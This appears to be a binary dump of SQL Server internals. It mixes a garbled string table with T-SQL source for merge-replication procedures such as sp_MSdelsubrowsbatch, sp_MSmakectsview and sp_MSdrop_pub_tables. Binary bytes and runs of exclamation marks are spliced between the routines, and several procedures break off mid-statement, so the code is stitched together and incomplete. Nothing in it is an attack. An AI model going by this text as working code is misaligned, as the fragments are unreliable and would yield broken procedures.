kkCREMOTE SERVICE BINDING0@@?9RESOURCE GOVERNOR0@@?ROLE0??'Romanian0@?!ROUTE0@@@?rule0@@@?#SCHEMA0@@??SEARCH PROPERTY LIST0?@@??select into/bulkcopy0@?5SEQUENCE OBJECT0??1serial writes0@?#SERVER0??AServer Administrators0@@@KSERVER AUDIT SPECIFICATION0@@@-SERVER ROLE0??-serveradmin0@?%SERVICE0?@@?1SF LOCK TYPES0?@@?SIX0?@@?'smallint0?@@?%Spanish0??)SQ: queue0@?)SQL LOGIN0??ISQL Server Internal Table0@@?'SQL USER0??=SQLSERVER HOST TYPE0@@?+STATISTICS0??;stats no recompute0@?7STORED PROCEDURE0?@@?STWS0@@@?1SYMMETRIC KEY0@?%SYNONYM0?@@?Gsysobjects.type, reports0?@@?#system0@@@?!TABLE0?@@?%tinyint0@@@?%TRIGGER0@@?%trusted0??%Turkish0@?TYPE0@@?9UNIQUE CONSTRAINT0?@@??use remote collation0?@?%varchar0@@?view0@@?1WINDOWS GROUP0@@@/WINDOWS USER0?@?+xact_abort0@?AXML SCHEMA COLLECTION0?@@?)YES OR NOn((ansi_warningsuto create statisticsC : check cnsONTRACTDanishB Data WriteriskadminEVENT SESSIONFS: assembly scalar functionGENERAL MISC. STRINGSintloadingnonclusteredphysical diskR : ruleEMOTE SERVICE BINDINGERVER AUDITloveniantats no recomputeYSDEVICES STATUSTR: triggerU : user tableWFRA
"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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(mB1N*v$kcreate procedure sys.sp_MSdelsubrowsbatch 
    (@tablenick int,
     @rowguid_array varbinary(8000),
     @metadatatype_array varbinary(500),        -- 0 - Missing, 1 - Tombstone, 2 - Contents, 3 - ContentsDeferred, 6 - system delete
     @oldlineage_len_array varbinary(1000),     -- specifies the number of lineages in the @oldlineage_array.
     @oldlineage_array image,
     @generation_array varbinary(4000),         -- MAX_ROWS_FOR_BATCHEDSUBDELETES*sizeof(GENERATION)
     @newlineage_len_array varbinary(1000),     -- specifies the number of lineages in the @newlineage_array.
     @newlineage_array image,
     @pubid uniqueidentifier = NULL,
     @rowsdeleted INT = NULL OUTPUT,
     @allarticlesareupdateable bit= 1) 
as
    declare @rowguid uniqueidentifier, @metadata_type tinyint, @lineage_old varbinary(311), 
            @generation bigint, @lineage_new varbinary(311), @match int, @errcode int, @new_metatype tinyint, 
            @retcode smallint, @procname sysname, @tnstr nvarchar(11), @error int, @rowcount int,
            @tablenicklast int, @rowguidarraylen int, @oldlineage_len smallint, @newlineage_len smallint,
            @guidoffset int, @metatypeoffset int, @oldlinlenoffset int, @newlinlenoffset int, @oldlinoffset int,
            @newlinoffset int, @genoffset int, @transaction_started bit,
            @parentarticleisupdateable bit, @partition_options tinyint
            
    declare @rowstochangetype TABLE (tablenick int NOT NULL, rowguid uniqueidentifier NOT NULL)

    declare @METADATA_TYPE_Tombstone tinyint
    declare @METADATA_TYPE_PartialDelete tinyint
    declare @METADATA_TYPE_SystemDelete tinyint

    set @METADATA_TYPE_Tombstone= 1
    set @METADATA_TYPE_PartialDelete= 5
    set @METADATA_TYPE_SystemDelete= 6

    -- Do all DDL first
    create table #notbelong (   tablenick int NOT NULL, rowguid uniqueidentifier NOT NULL, flag int NOT NULL, generation bigint NULL, 
                                lineage_old varbinary(311) NULL, metadatatype_old tinyint NULL, 
                                lineage_new varbinary(311) NULL, metadatatype_new tinyint NULL, original_row bit NULL default 0)
    create clustered index #indnbelong on #notbelong (tablenick, rowguid)
                
    /*
    ** Check to see if current publication has permission. Skip check if caller is the merge agent.
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid, @tablenick = @tablenick
    if (@retcode <> 0) or (@@error <> 0)
        return 4
        
    /* Parameter validation */
    if (@rowguid_array is null)
    begin
        RAISERROR(14043, 16, -1, '@rowguid_array', 'sp_MSdelsubrowsbatch')
        return (0)
    end
    if (@tablenick is null)
    begin
        RAISERROR(14043, 16, -1, '@tablenick', 'sp_MSdelsubrowsbatch')
        return (0)
    end

    if (1 = @allarticlesareupdateable and
        @newlineage_array is null)
    begin
        RAISERROR(14043, 16, -1, '@newlineage_array', 'sp_MSdelsubrowsbatch')
        return (0)
    end

    set @rowsdeleted = 0
    set @transaction_started = 0

    -- initialize offsets and length for walking through arrays
    set @guidoffset = 1
    set @metatypeoffset = 1
    set @oldlinlenoffset = 1
    set @newlinlenoffset = 1
    set @oldlinoffset = 1
    set @newlinoffset = 1
    set @genoffset = 1
    
    set @rowguidarraylen = datalength(@rowguid_array)

    declare @numgenbytes tinyint
    set @numgenbytes= col_length('MSmerge_contents', 'generation')

        if 1 = @allarticlesareupdateable
            set @parentarticleisupdateable= 1
        else
            set @parentarticleisupdateable= sys.fn_MSarticle_allows_DML_at_this_replica(default, @tablenick)

    -- walk through arrays and populate temp table
    while (@guidoffset < @rowguidarraylen)
    begin
        -- Retrieve values, and increment offsets for next row.
        set @rowguid = substring(@rowguid_array, @guidoffset, 16)   -- 16 = sizeof uniqueidentifier (rowguid)
        set @guidoffset = @guidoffset + 16

        set @metadata_type = substring(@metadatatype_array, @metatypeoffset, 1) -- 1 = sizeof tinyint (metadata_type)
        set @generation = substring(@generation_array, @genoffset, @numgenbytes)
        set @oldlineage_len = substring(@oldlineage_len_array, @oldlinlenoffset, 2) -- 2 = sizeof smallint (oldlineage_len)
        set @newlineage_len = substring(@newlineage_len_array, @newlinlenoffset, 2) -- 2 = sizeof smallint (newlineage_len)
        set @lineage_old = substring(@oldlineage_array, @oldlinoffset, @oldlineage_len) -- @oldlineage_len = sizeof old lineage for current row
        set @lineage_new = substring(@newlineage_array, @newlinoffset, @newlineage_len) -- @newlineage_len = sizeof new lineage for current row

        set @metatypeoffset = @metatypeoffset + 1
        set @genoffset = @genoffset + @numgenbytes
        set @oldlinlenoffset = @oldlinlenoffset + 2
        set @newlinlenoffset = @newlinlenoffset + 2
        set @oldlinoffset = @oldlinoffset + @oldlineage_len
        set @newlinoffset = @newlinoffset + @newlineage_len

        -- Insert the old metadata type as the new metadata type. We can modify later if it is supposed to be different.
        insert into #notbelong (tablenick, rowguid, flag, generation, lineage_old, metadatatype_old, lineage_new, metadatatype_new, original_row) values (@tablenick, @rowguid, 0, @generation, @lineage_old, @metadata_type, @lineage_new, @metadata_type, 1)
    end
    
    if (exists(select * from #notbelong))
    begin
        declare @tn int
        declare @qualified_table_name nvarchar(517)
        declare @unqualified_table_name nvarchar(270)
                    
        -- Expansion is an expensive and time-consuming process. Defer starting transaction until after expansion 
        -- has taken place.

        /* call expand proc */
        exec @retcode = sys.sp_MSexpandsubsnb @pubid
        IF @@ERROR<>0 or @retcode<>0
        begin
            set @errcode= 0
            goto Failure
        end

        select @procname = 'dbo.' + select_proc,
        @partition_options = partition_options
        from dbo.sysmergepartitioninfoview
        where nickname = @tablenick and pubid = @pubid
        
        if @partition_options = 2
        begin
            -- if this is a republisher of this article, and we are currently
            -- downloading from the top-level publisher, then pretend that this is 
            -- not a well-partitioned article. This is done such that the partition evaluation
            -- and setrowmetadata is done appropriately.
            if sys.fn_MSmerge_islocalpubid(@pubid) = 0 
            and exists (select * from dbo.sysmergearticles 
                        where nickname = @tablenick
                        and sys.fn_MSmerge_islocalpubid(pubid) = 1)
            select @partition_options = 0                                               
        end

        -- After the #notbelong has been expanded, the original_row column can be used to distinguish original rows
        -- from the rows that were brought in by the expansion.

        -- open a cursor on #notbelong for rows with original_row = 1
        declare original_rows_1 CURSOR LOCAL FAST_FORWARD for 
        select rowguid, generation, lineage_old, metadatatype_old, lineage_new from #notbelong where tablenick = @tablenick and original_row = 1
        FOR READ ONLY
        open original_rows_1
        fetch original_rows_1 into @rowguid, @generation, @lineage_old, @metadata_type, @lineage_new

        begin transaction
        save tran start_of_batch
        set @transaction_started = 1

        while (@@fetch_status <> -1)
        begin
            if 1 = @parentarticleisupdateable
            begin
                if (@metadata_type = @METADATA_TYPE_PartialDelete or 
                    @metadata_type = @METADATA_TYPE_Tombstone)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(nBpVv$k
                begin
                    if exists (select * from dbo.MSmerge_tombstone where rowguid = @rowguid and tablenick = @tablenick)
                    begin
                        update dbo.MSmerge_tombstone 
                            set type = @metadata_type, generation = @generation, lineage = @lineage_new 
                            where rowguid = @rowguid and tablenick = @tablenick

        
                        -- This row will later be removed from #notbelong. We were only supposed to update the tombstone
                        -- metadata type for this row (which we have already done above).
                        insert into @rowstochangetype values (@tablenick, @rowguid)
                        fetch original_rows_1 into @rowguid, @generation, @lineage_old, @metadata_type, @lineage_new
                        continue    -- on to the next row
                    end
                end
                else if (@metadata_type = @METADATA_TYPE_SystemDelete)
                begin
                    if exists (select * from dbo.MSmerge_tombstone where rowguid = @rowguid and tablenick = @tablenick)
                    begin
                        update dbo.MSmerge_tombstone set type = @metadata_type 
                            where rowguid = @rowguid and tablenick = @tablenick

        
                        -- This row will later be removed from #notbelong. We were only supposed to update the tombstone
                        -- metadata type for this row (which we have already done above).
                        insert into @rowstochangetype values (@tablenick, @rowguid)
                        fetch original_rows_1 into @rowguid, @generation, @lineage_old, @metadata_type, @lineage_new
                        continue    -- on to the next row
                    end
                end
            end

            -- lock this particular row of the base table
            exec @retcode = @procname @maxschemaguidforarticle = NULL, @type = 8, @rowguid=@rowguid
            IF @@ERROR<>0 or @retcode<>0
            begin
                set @errcode= 0
                close original_rows_1
                deallocate original_rows_1
                goto Failure
            end
            
            if 1 = @parentarticleisupdateable
            begin
                if @metadata_type = @METADATA_TYPE_PartialDelete
                begin
                    set @new_metatype = @METADATA_TYPE_PartialDelete
                end
                else if @metadata_type = @METADATA_TYPE_SystemDelete
                begin
                    set @new_metatype = @METADATA_TYPE_SystemDelete
                end
                else
                begin
                    set @new_metatype = @METADATA_TYPE_Tombstone
                end
                
                -- call sp_MScheckmetadatamatch with @compatlevel=90, because even if the 
                -- reconciler is Shiloh, the lineages were already mapped up when the 
                -- deletes where enumerated, and the reconciler then 
                -- concatenated the mapped-up lineages
                exec @retcode=sys.sp_MScheckmetadatamatch 
                    @metatype=@metadata_type, @rowguid=@rowguid, @tablenick=@tablenick, 
                    @lineage=@lineage_old, @match=@match output, @compatlevel=90

                IF @@ERROR<>0 or @retcode<>0
                begin
                    set @errcode= 0
                    close original_rows_1
                    deallocate original_rows_1
                    goto Failure
                end
            end
            else
                set @match= 1

            if (@match = 1)
            begin
                if (@metadata_type <> @new_metatype and 1 = @parentarticleisupdateable)
                begin
                    -- we will later need this new metadata type when calling sp_MSsetrowmetadata
                    update #notbelong set metadatatype_new = @new_metatype where tablenick = @tablenick and rowguid = @rowguid and original_row = 1
                end
            end
            else
            begin
                set @errcode= 2
                close original_rows_1
                deallocate original_rows_1
                goto Failure
            end

            fetch original_rows_1 into @rowguid, @generation, @lineage_old, @metadata_type, @lineage_new
        end

        close original_rows_1
        deallocate original_rows_1

        -- delete the rows in #notbelong that needn't be deleted. We were only supposed to update the tombstone
        -- metadata type for those rows (which we have already done above).
        delete #notbelong with (paglock) from #notbelong a, @rowstochangetype b where a.tablenick = b.tablenick and a.rowguid = b.rowguid
        
        select @tn = max(tablenick) from #notbelong where flag > -1
        while @tn is not null
        begin
            select @tnstr = convert(nvarchar(11), @tn)
            exec @retcode = sys.sp_MStablenamefromnick @tn, @qualified_table_name out, @pubid, @unqualified_table_name out
            -- delete all rows indicated by the temp table
            IF @@ERROR<>0 or @retcode<>0
            begin
                set @errcode= 0
                goto Failure
            end
            exec ('delete ' + @qualified_table_name + ' from #notbelong nb, ' + @qualified_table_name + ' t 
                   where nb.tablenick = ' + @tnstr + ' and t.RowGuidCol = nb.rowguid
                   option (FORCE ORDER, LOOP JOIN)')
            select @error=@@error, @rowcount=@@rowcount
            IF @error<>0
            begin
                set @errcode= 0
                goto Failure
            end

            select @rowsdeleted = @rowsdeleted + @rowcount
                
            -- remove metadata action request for the rows we just deleted.
            delete mar with (rowlock) from dbo.MSmerge_metadataaction_request as mar
                inner join #notbelong as nb
                on mar.tablenick=nb.tablenick and
                   mar.rowguid=nb.rowguid
                where mar.tablenick=@tn

            -- move on to next nickname - decreasing makes delete order correct
            update #notbelong set flag = -1 where tablenick = @tn
            select @tn = max(tablenick) from #notbelong where flag > -1
        end

        -- change tombstone type for the non-original rows (the rows that got deleted via expansion).
       update dbo.MSmerge_tombstone 
                set type = @METADATA_TYPE_PartialDelete
        from
          (select distinct tablenick, rowguid from 
               #notbelong where original_row <> 1) nb,
          dbo.MSmerge_tombstone ts
            where ts.tablenick = nb.tablenick and
                  ts.rowguid = nb.rowguid
          option (FORCE ORDER, LOOP JOIN)

        -- open a cursor and get the new metadata types for the original rows and then call sp_MSsetrowmetadata for each original row.
        declare original_rows_2 CURSOR LOCAL FAST_FORWARD for 
        select tablenick, rowguid, generation, lineage_new, metadatatype_new from #notbelong where original_row = 1
        FOR READ ONLY
        open original_rows_2
        fetch original_rows_2 into @tablenick, @rowguid, @generation, @lineage_new, @new_metatype
        while (@@fetch_status <> -1)
        begin
            if 1 = @parentarticleisupdateable and (@partition_options < 2 or @lineage_new is not null)
            begin
                -- Call sp_MSsetrowmetadata for only the original rows whose delete requests were passed in to this proc.
                -- call it with @compatlevel=90, because even if the reconciler is Shiloh, the lineages
                -- were already mapped up when the deletes where enumerated, and the reconciler then 
                -- concatenated the mapped-up lineages
   !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(o[Jl3v;create procedure sys.sp_MSmakectsview
    @publication sysname,
    @ctsview     sysname,
    @dynamic_snapshot_views_table_name sysname = null, -- must be unquoted as this function is public
    @create_dynamic_views bit = 0,
    @max_bcp_gen bigint
AS
    set nocount on
    declare @pubid          uniqueidentifier
    declare @artid          uniqueidentifier
    declare @pubidstr       nvarchar(40)
    declare @artidstr       nvarchar(40)
    declare @objid      int
    declare @tablenick  int
    declare @new_inactive int
    declare @new_active int
    declare @tablenickstr nvarchar(12)
    declare @command_piece nvarchar(2000)           -- used if @generate_per_article=0
    declare @command_piece_forall nvarchar(2000)    -- used if @generate_per_article=1
    declare @command_piece_forglobal nvarchar(2000) -- used if @generate_per_article=1
    declare @command_piece_rowtrack nvarchar(2000)  -- used if @generate_per_article=1
    declare @rowguidcolname nvarchar(258)
    declare @view_type  int
    declare @view_name  nvarchar(270)
    declare @or_after_first nvarchar(100)
    declare @select_command nvarchar(4000)
    declare @retcode int 
    declare @generate_per_article bit 
    declare @newidstr       nvarchar(40)
    declare @newid          uniqueidentifier
    declare @ctsview_80     sysname -- used if @generate_per_article=1
    declare @ctsview_90_forall     sysname -- used if @generate_per_article=1
    declare @ctsview_90_forglobal     sysname -- used if @generate_per_article=1
    declare @ctsview_rowtrack     sysname -- used if @generate_per_article=1
    declare @tempidstr       nvarchar(40)
    declare @drop_views bit
    declare @need_ctsview_rowtrack bit
    declare @dynsnap_views bit
    declare @upload_options tinyint
    declare @compatlevel int
    declare @is_coltracked int
    declare @colv_entries int

    -- Security Checking 
    -- sysadmin or db_owner or replication agent have access    
    exec @retcode=sys.sp_MSreplcheck_publish
    if @@error<>0 or @retcode<>0
        return 1
    
    if (@dynamic_snapshot_views_table_name is not null and @dynamic_snapshot_views_table_name <> '')
        select @dynsnap_views = 1
    else
        select @dynsnap_views = 0
    
    set @drop_views = 1

    
    /* By default the @generate_per_article is OFF */
    set @generate_per_article = 0

    set @new_inactive = 5 /* value of SQLDMOArtStat_New_Inactive */
    set @new_active = 6 /* value of SQLDMOArtStat_New_Active */

    -- if the view name is not specified we do a per article view generation and
    -- return a table containing the list of view names
    if @ctsview IS NULL
        set @generate_per_article = 1
    
    select @retcode = 0
    set @or_after_first = ''

    select @pubid = pubid, @compatlevel = backward_comp_level
        from dbo.sysmergepublications where name = @publication 
        and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    if @pubid is null
    BEGIN
        RAISERROR (20026, 16, -1, @publication)
        RETURN (1)
    END

    set @need_ctsview_rowtrack= sys.fn_MSmerge_mightneedrowtrackbcp(@pubid)

    select @newid = newid()
    exec @retcode = sys.sp_MSguidtostr @newid, @newidstr out
    if @@ERROR <>0 OR @retcode <> 0
        return (1)
    exec @retcode = sys.sp_MSguidtostr @pubid, @pubidstr out
    if @@ERROR <>0 OR @retcode <> 0 
        return (1)

    if @generate_per_article = 1
    begin
        /* create temp table to insert into and select commands out of */
        declare @temp_cts_views table
        (
            step int identity NOT NULL,
            ctsvw sysname collate database_default null, 
            ctsvw_90_forall sysname collate database_default null,
            ctsvw_90_forglobal sysname collate database_default null,
            ctsview_rowtrack sysname collate database_default null,
            ctsvw_80 sysname collate database_default null,
            tablenickname int
        )
        if @@ERROR <> 0
            return (1)
    
        -- the view name was not passed in. We will generate the view names using the article id and the pubid
        -- this code was added to be able to reuse existing views when generating a dynamic snapshot
        -- by having definite view names constructed from pubid and artid we can reuse the views
        -- we will use newid if @dynamic_snapshot_views_table_name is passed in and use pubid otherwise
        if @create_dynamic_views = 1 or @dynsnap_views = 1
            set @tempidstr = @newidstr
        else
            set @tempidstr = @pubidstr
        
        select @tablenick = min(nickname) from dbo.sysmergearticles where pubid = @pubid and status<>@new_active and status<>@new_inactive
        while @tablenick is not null
        begin
            select @artid = artid, @upload_options = upload_options from dbo.sysmergearticles where nickname = @tablenick and pubid = @pubid
            exec @retcode = sys.sp_MSguidtostr @artid, @artidstr out
            if @@ERROR <>0 OR @retcode <> 0 return (1)

            set @ctsview = 'MSmerge_cont_' + @tempidstr + '_' + @artidstr

            -- if there are no contents row for the current article there is not need to create these views
            if exists (select 1 from dbo.MSmerge_contents where tablenick = @tablenick)
            begin
                if @upload_options<>1 and @upload_options<>2
                begin
                    set @ctsview_90_forall = 'MSmerge_cont_90_forall_' + @tempidstr + '_' + @artidstr
                    set @ctsview_90_forglobal = null
                end
                else
                begin
                    set @ctsview_90_forall = NULL
                    set @ctsview_90_forglobal = 'MSmerge_cont_90_forglobal_' + @tempidstr + '_' + @artidstr
                end

                if 1=@need_ctsview_rowtrack and @upload_options<>1 and @upload_options<>2
                    set @ctsview_rowtrack = 'MSmerge_cont_rowtrack_' + @tempidstr + '_' + @artidstr
                else
                    set @ctsview_rowtrack = null

                if @compatlevel < 90
                    set @ctsview_80 = 'MSmerge_cont_' + @tempidstr + '_' + @artidstr + '_80'
                else
                    set @ctsview_80 = NULL
            end
            else
            begin
                select @ctsview_90_forall = NULL
                select @ctsview_90_forglobal = NULL
                select @ctsview_rowtrack = NULL
                select @ctsview_80 = NULL
            end
            -- insert the view name into the temp table created in this proc
            insert into @temp_cts_views (ctsvw, ctsvw_90_forall, ctsvw_90_forglobal, ctsview_rowtrack, ctsvw_80, tablenickname) 
                                  values(@ctsview, @ctsview_90_forall, @ctsview_90_forglobal, @ctsview_rowtrack, @ctsview_80, @tablenick)

            /* Advance to next article and repeat the loop */
            select @tablenick = min(nickname) from dbo.sysmergearticles where
                pubid = @pubid and nickname > @tablenick and status<>@new_active and status<>@new_inactive
        end
    end
    else
    begin
        -- this is the regular case (called from sp_MSmakesystableviews)
        declare @tempcmd table 
        (
            phase int NOT NULL, 
            step int identity NOT NULL,
            cmdtext nvarchar(2600) collate database_default null
        )
    end

    -- drop the views if they already exist and if we need to drop the views
    -- do this only when generating per article views
    if @generate_per_article = 1 and @drop_views = 1
    begin
        select @tablenick = min(tablenickname) from @temp_cts_views
        while @tablenick is not null
        begin
            select  @ctsview = ctsvw, 
                    @ctsview_90_forall = ctsvw_90_forall, 
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<p50 8create procedure sys.sp_MSdrop_pub_tables
AS
    DECLARE @retcode int
    
    begin tran
    save TRAN sp_drop_central_pub_tables
   
    /* drop 'sysarticles' */
    IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name= N'sysarticles'
		AND	ObjectProperty(object_id('sysarticles'), 'IsTable') = 1
	)
    BEGIN
        DROP TABLE sysarticles
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END

    /* drop 'sysschemaarticles' */
    IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name = N'sysschemaarticles'
		AND	ObjectProperty(object_id('sysschemaarticles'), 'IsTable') = 1
	)
    BEGIN
        DROP TABLE sysschemaarticles
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END

    /* drop 'sysextendedarticlesview' */
    IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name = N'sysextendedarticlesview'
		AND	ObjectProperty(object_id('sysextendedarticlesview'), 'IsView') = 1
	)
    BEGIN
        DROP VIEW sysextendedarticlesview
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END


    /* drop 'syspublications' */
    IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name = N'syspublications'
		AND	ObjectProperty(object_id('syspublications'), 'IsTable') = 1
	)
    BEGIN
        DROP TABLE syspublications
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END

    /* drop 'syssubscriptions' */
    IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name = N'syssubscriptions'
		AND	ObjectProperty(object_id('syssubscriptions'), 'IsTable') = 1
	)
    BEGIN
        DROP TABLE syssubscriptions
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END

	-- --------------------
    -- SyncTran
	-- --------------------

    /* drop 'sysarticleupdates' */
    IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name = N'sysarticleupdates'
		AND	ObjectProperty(object_id('sysarticleupdates'), 'IsTable') = 1
	)
    BEGIN
        DROP TABLE sysarticleupdates
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END

    IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name = N'MSpub_identity_range'
		AND	ObjectProperty(object_id('MSpub_identity_range'), 'IsTable') = 1
	)
    BEGIN
        DROP TABLE MSpub_identity_range
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END

	-- --------------------
    -- end SyncTran
	-- --------------------

    IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name = N'systranschemas'
		AND	ObjectProperty(object_id('systranschemas'), 'IsTable') = 1
	)
	and not exists(select * from sys.databases where db_id() = database_id and is_cdc_enabled = 1)
    BEGIN
        DROP TABLE dbo.systranschemas
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END
	IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name = N'sysarticlecolumns'
		AND	ObjectProperty(object_id('sysarticlecolumns'), 'IsTable') = 1
	)
    BEGIN
        DROP TABLE dbo.sysarticlecolumns
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END


   	
	-- --------------------
    -- BEGIN Peer2Peer
	-- --------------------
	-- Allow drop of tables if this database  
	-- is not a subscriber database as well
	IF OBJECT_ID('MSreplication_subscriptions', 'U') IS NULL
	BEGIN
		EXEC @retcode = sys.sp_MSdrop_peertopeer_tables
		IF @@ERROR <> 0 or @retcode <> 0
		BEGIN
            goto ERROR
		END
	END
	
	EXEC @retcode = sys.sp_MSrepl_ddl_triggers @type='tran', @mode='drop'
	IF @@ERROR <> 0 or @retcode <> 0
	BEGI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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`$	<AqQ0m 8CREATE FUNCTION sys.dm_db_stats_properties (@object_id int, @stats_id int)
RETURNS TABLE
AS
	RETURN SELECT * FROM OPENROWSET(TABLE DM_DB_STATS_PROPERTIES, @object_id, @stats_id)
0@ D8%)hy00ğ v
8create function sys.fn_replmonitorsubscriptionranking 
(
    @status int
    ,@warning int
    ,@publication_type int -- 0 = tran, 1 = snapshot, 2 = merge
)
returns int
as
begin
    declare @ranking int

    --
    --Trans order:
    --
    --60 - Error 
    --57 - Warning - Performance critical with Subscription stopped
    --56 - Warning - Performance critical
    --53 - Warning - Expiring soon with Subscription stopped
    --52 - Warning - Expiring soon
    --50 - Warning - Subscription Uninitialized 
    --40 - Retrying failed command 
    --30 - Not running (Success)
    --20 - Running  (Starting, Running, Idle)
    --
    --Merge order:
    --
    --60 - Error 
    --56 - Warning - Performance critical
    --54 - Warning - Long-running merge
    --52 - Warning - Expiring soon
    --50 - Warning - Subscription Uninitialized 
    --40 - Retrying failed command 
    --30 - Running  (Starting, Running, Idle)
    --20 - Not running (Success)
    --

    if (@status > 5)
    begin
        -- agent status is 6 or more - error
        select @ranking = 60
    end
    else
    begin
        -- agent status is not error (ranking in range 56 - 20)
        -- first check warning
        if (@warning > 0)
        begin
            -- note we are using hardcoded warning bit status for performance reasons
            if (@publication_type = 2)
            begin
                -- merge subscription 
                -- 0x40 | 0x80 = 192 - mask for perf critical
                -- 0x10 | 0x20 = 48 - mask for long running
                -- 0x8 - mask for merge expiration
                select @ranking = case 
                                when (@warning & 192) > 0 then 56
                                when (@warning & 48) > 0 then 54
                                when (@warning & 8) > 0 then 52
                                else NULL end
            end
            else
            begin
                -- tran or snapshot subscription
                -- 0x2 = 2 - mask for perf critical (latency)
                -- 0x1 = 1 - mask for tran expiration
                select @ranking = case 
                                when (@warning & 2) > 0 then case when (@status = 2) then 57 else 56 end
                                when (@warning & 1) > 0 then case when (@status = 2) then 53 else 52 end
                                else NULL end
            end
        end
        --
        -- If we did not select ranking based on warnings
        -- fall through and do the no warning processing
        --
        if (@ranking is NULL)
        begin
            -- no warnings (ranking in range 50 - 20)
            if (@status = 0)
                select @ranking = 50
            else if (@status = 5)
                select @ranking = 40
            else
            begin
                if (@publication_type = 2)
                begin
                    -- merge subscription
                    select @ranking = case when (@status = 2) then 20 else 30 end
                end
                else
                begin
                    -- tran or snapshot subscription
                    select @ranking = case when (@status = 2) then 30 else 20 end
                end
            end
        end
    end
    --
    -- all done
    --
    return @ranking
end
0$@ Q8create procedure sys.sp_MSproxiedmetadata
    @tablenick          int,
    @rowguid            uniqueidentifier,
    @proxied_lineage    varbinary(311),
    @proxied_colv       varbinary(2953),
    @proxy_logical_record_lineage bit,
    @compatlevel int = 10   -- backward compatibility level, default=Sphinx

as
    declare @local_lineage      varbinary(311)
    declare @local_version      int
    declare @proxied_version    int
    declare @incontents         tinyint
    declare @retcode int
    
    -- Security Checking 
    -- PAL user access
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick = @tablenick
    if (@retcode <> 0) or (@@error <> 0)
        return 1
    
    set @proxied_version = {fn GETMAXVERSION(@proxied_lineage)}

    if (@proxy_logical_record_lineage = 0)
        select @local_lineage = lineage from dbo.MSmerge_contents
            where tablenick = @tablenick and rowguid = @rowguid
    else
        select @local_lineage = logical_record_lineage from dbo.MSmerge_contents
            where tablenick = @tablenick and rowguid = @rowguid

    if @local_lineage is not null
        set @incontents= 1
    else
    begin
    
        -- cannot proxy if logical record parent row is no longer in contents.
        --if (@proxy_logical_record_lineage = 1)
        --    return (0)
            
        if (@proxy_logical_record_lineage = 0)
            select @local_lineage = lineage from dbo.MSmerge_tombstone
                where tablenick = @tablenick and rowguid = @rowguid
        else
            select @local_lineage = logical_record_lineage from dbo.MSmerge_tombstone
                where tablenick = @tablenick and rowguid = @rowguid

        if @local_lineage is not null
            set @incontents= 0
        else
            return(0)
    end

    set @local_version= {fn GETMAXVERSION(@local_lineage)}

    -- make sure that local lineage was not updated since the publisher proxied its last change
    -- if it was updated, we leave it unchanged
    if @local_version <= @proxied_version
    begin
        if @compatlevel < 90
        begin
            if @proxied_lineage is not null
                set @proxied_lineage= {fn LINEAGE_80_TO_90(@proxied_lineage)}
            if @proxied_colv is not null and @proxy_logical_record_lineage = 0
                set @proxied_colv= {fn COLV_80_TO_90(@proxied_colv)}
        end
        
        if @incontents = 1
        begin
            if (@proxy_logical_record_lineage = 0)
                update dbo.MSmerge_contents with (rowlock) set lineage = @proxied_lineage, colv1 = @proxied_colv
                    where tablenick = @tablenick and rowguid = @rowguid and
                    -- lineage compare makes sure lineage has not changed since @local_lineage was retrieved
                    lineage = @local_lineage 
            else
                update dbo.MSmerge_contents with (rowlock) set logical_record_lineage = @proxied_lineage
                    where tablenick = @tablenick and rowguid = @rowguid and
                    -- logical_record_lineage compare makes sure lineage has not changed since @local_lineage was retrieved
                    logical_record_lineage = @local_lineage 
        end
        else
        begin
            if (@proxy_logical_record_lineage = 0)
                update dbo.MSmerge_tombstone with (rowlock) set lineage = @proxied_lineage
                    where tablenick = @tablenick and rowguid = @rowguid and
                        -- lineage compare makes sure lineage has not changed since @local_lineage was retrieved
                        lineage = @local_lineage 
            else        
                update dbo.MSmerge_tombstone with (rowlock) set logical_record_lineage = @proxied_lineage
                where tablenick = @tablenick and rowguid = @rowguid and
                    -- logical_record_lineage compare makes sure lineage has not changed since @local_lineage was retrieved
                    logical_record_lineage = @local_lineage 
        end
    end

    return (0)
